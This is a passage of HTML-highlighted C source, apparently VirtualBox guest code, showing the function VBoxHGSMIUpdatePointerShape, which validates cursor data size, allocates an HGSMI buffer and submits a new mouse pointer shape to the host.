id=\"crayon-5a69065f6e37d433429326-954\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-955\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-956\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-957\"><span class=\"crayon-c\"> * Pass the host a new mouse pointer shape via an HGSMI command.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-958\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-959\"><span class=\"crayon-c\"> * @returns&nbsp;&nbsp;success or failure<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-960\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;fFlags&nbsp;&nbsp;&nbsp;&nbsp;cursor flags, @see VMMDevReqMousePointer::fFlags<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-961\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;cHotX&nbsp;&nbsp;&nbsp;&nbsp; horizontal position of the hot spot<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-962\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;cHotY&nbsp;&nbsp;&nbsp;&nbsp; vertical position of the hot spot<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-963\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;cWidth&nbsp;&nbsp;&nbsp;&nbsp;width in pixels of the cursor<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-964\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;cHeight&nbsp;&nbsp; height in pixels of the cursor<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-965\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pPixels&nbsp;&nbsp; pixel data, @see VMMDevReqMousePointer for the format<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-966\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;cbLength&nbsp;&nbsp;size in bytes of the pixel data<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-967\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-968\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIUpdatePointerShape<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-969\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-970\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cHotX<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-971\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cHotY<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-972\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cWidth<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-973\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cHeight<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-974\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint8_t *<\/span><span class=\"crayon-v\">pPixels<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-975\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbLength<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-976\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-977\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBVAMOUSEPOINTERSHAPE *<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-978\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbData<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-979\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VINF_SUCCESS<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-980\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-981\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOX_MOUSE_POINTER_SHAPE<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-982\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-983\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Size of the pointer data: sizeof (AND mask) + sizeof (XOR_MASK) *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-984\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cbData<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cWidth<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">7<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cHeight<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-985\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">cWidth *<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cHeight<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-986\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* If shape is supplied, then always create the pointer visible.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-987\"><span class=\"crayon-c\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * See comments in &#8216;vboxUpdatePointerShape&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-988\"><span class=\"crayon-c\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-989\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOX_MOUSE_POINTER_VISIBLE<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-990\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-991\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">LogFlowFunc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;cbData %d, %dx%dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbData<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cWidth<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cHeight<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-992\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cbData<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbLength<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-993\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-994\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">LogFunc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;calculated pointer data size is too big (%d bytes, limit %d)n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-995\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">cbData<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbLength<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-996\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_INVALID_PARAMETER<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-997\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-998\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Allocate the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-999\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">VBVAMOUSEPOINTERSHAPE *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1000\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBVAMOUSEPOINTERSHAPE<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1001\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbData<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1002\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">HGSMI_CH_VBVA<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1003\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBVA_MOUSE_POINTER_SHAPE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1004\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1005\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1006\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Prepare data to be sent to the host. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1007\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Will be updated by the host. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1008\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">i32Result<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VINF_SUCCESS<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1009\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* We have our custom flags in the field *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1010\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fu32Flags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1011\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">u32HotX<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cHotX<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1012\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">u32HotY<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cHotY<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1013\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">u32Width<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cWidth<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1014\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">u32Height<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cHeight<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1015\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fu32Flags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOX_MOUSE_POINTER_SHAPE<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1016\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Copy the actual pointer data. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1017\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">au8Data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pPixels<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbData<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1018\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div 